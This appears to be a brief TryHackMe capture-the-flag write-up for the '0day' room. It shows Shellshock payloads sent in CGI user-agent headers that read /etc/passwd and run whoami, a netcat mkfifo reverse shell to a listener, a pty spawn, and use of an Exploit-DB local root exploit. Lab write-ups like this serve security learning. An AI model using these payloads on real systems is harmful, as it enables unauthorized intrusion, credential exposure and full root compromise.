TryHackMe

0Day Exploit Ubuntu, like a Turtle in a Hurricane Link: https://tryhackme.com/room/0day

SSH Old versioned found

curl -H “user-agent: () { :; }; echo; echo; /bin/bash -c ‘cat /etc/passwd’” 10.10.206.199/cgi-bin/test.cgi

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false ryan:x:1000:1000:Ubuntu 14.04.1,,,:/home/ryan:/bin/bash sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin root@ip-10-10-192-226:~#

root@ip-10-10-192-226:~# curl -A “() { :;}; echo Content-Type: text/html; echo; /usr/bin/whoami;” http://10.10.206.199/cgi-bin/test.cgi www-data

For Access curl -H “user-agent: () { :; }; echo; echo; /bin/bash -c ‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f’” /cgi-bin/test.cgi

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.70.55 1234 >/tmp/f'" 10.10.113.69/cgi-bin/test.cgi

Spawning Shell

python -c ‘import pty; pty.spawn(“/bin/bash”)

https://www.exploit-db.com/exploits/37292

For Error Solving $ gcc 37292.c -o epxl gcc: error trying to exec ‘cc1’: execvp: No such file or directory

https://stackoverflow.com/questions/11912878/gcc-error-gcc-error-trying-to-exec-cc1-execvp-no-such-file-or-directory

Changed the PATH to default and tried again.

Got the shell after executing.